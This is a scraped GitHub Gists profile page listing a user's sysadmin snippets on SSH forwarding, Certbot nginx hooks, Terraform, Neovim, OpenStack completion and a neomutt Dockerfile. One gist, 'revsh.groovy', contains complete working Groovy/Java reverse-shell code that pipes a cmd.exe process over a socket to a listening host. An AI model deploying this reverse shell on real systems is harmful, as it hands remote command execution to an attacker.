Skip to content

Instantly share code, notes, and snippets.

View gwarf's full-sized avatar
🌄
Hanging around

Baptiste Grenier gwarf

🌄
Hanging around
View GitHub Profile
@gwarf
gwarf / GPG_replace_old_key.md
Last active April 30, 2024 09:36
GPG Kunk-fu
@gwarf
gwarf / MacOSX_ssh_forwarding.md
Last active March 27, 2024 17:18
Using ssh forwarding (Agent and X11) on MacOS X

SSH Forwarding on MacOS X

Forwarding SSH agent

Configure ~/.ssh/config

# Allow Agent forwarding for a specific host (by security)
Host remotehost
  ForwardAgent yes
@gwarf
gwarf / 01_nginx-reload-post-hook.sh
Created November 21, 2023 12:58 — forked from justinhartman/01_nginx-reload-post-hook.sh
Let's Encrypt Certbot post hook command for Nginx which checks the updated configuration files and reloads the server if everything validates.
#!/usr/bin/env bash
#
# Certbot Nginx Reload
#
# Let's Encrypt Certbot post hook command for Nginx which checks the updated
# configuration files and reloads the server if everything validates.
#
# Author : Justin Hartman <code@justinhartman.co>
# Version : 1.0.1
# License : MIT <https://opensource.org/licenses/MIT>
@gwarf
gwarf / MacOSX_terraform.md
Last active September 6, 2023 16:44
Using terraform in Mac OS X to manage KVM-backed VMs.

Using Terraform on MacOS X to manage KVM-backed VMs

Installing

Terraform

brew install terraform
@gwarf
gwarf / TLS_Checking.md
Last active January 31, 2023 09:05
Checking TLS/SSL/certificate configuration
@gwarf
gwarf / neovim_ruby_python.md
Last active November 19, 2022 08:20
Neovim, ruby and python

Environments

The environement are configured from ~/.config/nvim

dotfiles - vim setup

See https://github.com/gwarf/dotfiles

Configure python2 and python3 for Neovim

@gwarf
gwarf / _openstack
Last active November 6, 2022 19:46 — forked from philipsd6/_openstack
openstack completion for zsh, lifted from http://www.zsh.org/mla/workers/2016/msg01936.html
#compdef openstack aodh barbican ceilometer cinder cloudkitty designate glance gnocchi heat ironic keystone magnum manila mistral monasca murano neutr
# https://wiki.openstack.org/wiki/OpenStackClients
# http://docs.openstack.org/user-guide/common/cli-install-openstack-command-line-clients.html
local curcontext="$curcontext" state line expl ret=1
local -a clnts_compl_new clnts_compl_old clnts_swift_like
#
@gwarf
gwarf / MacOSX_setup.md
Last active October 10, 2022 07:17
MacOSX_setup

Setup Mac OS X

Homebrew

Install additional tools usikng homebrew.

Install Homebrew

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
@gwarf
gwarf / revsh.groovy
Created April 28, 2021 18:07 — forked from frohoff/revsh.groovy
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@gwarf
gwarf / Dockerfile
Created September 5, 2019 09:04 — forked from yankcrime/Dockerfile
Dockerfile for neomutt
# Dockerfile for NeoMutt plus 'essentials'
# Largely inspired by Jess Frazelle (@jessfraz)
#
FROM alpine:3.6
RUN apk --no-cache add \
ca-certificates
ENV HOME /home/user
RUN adduser -u 1000 -D user \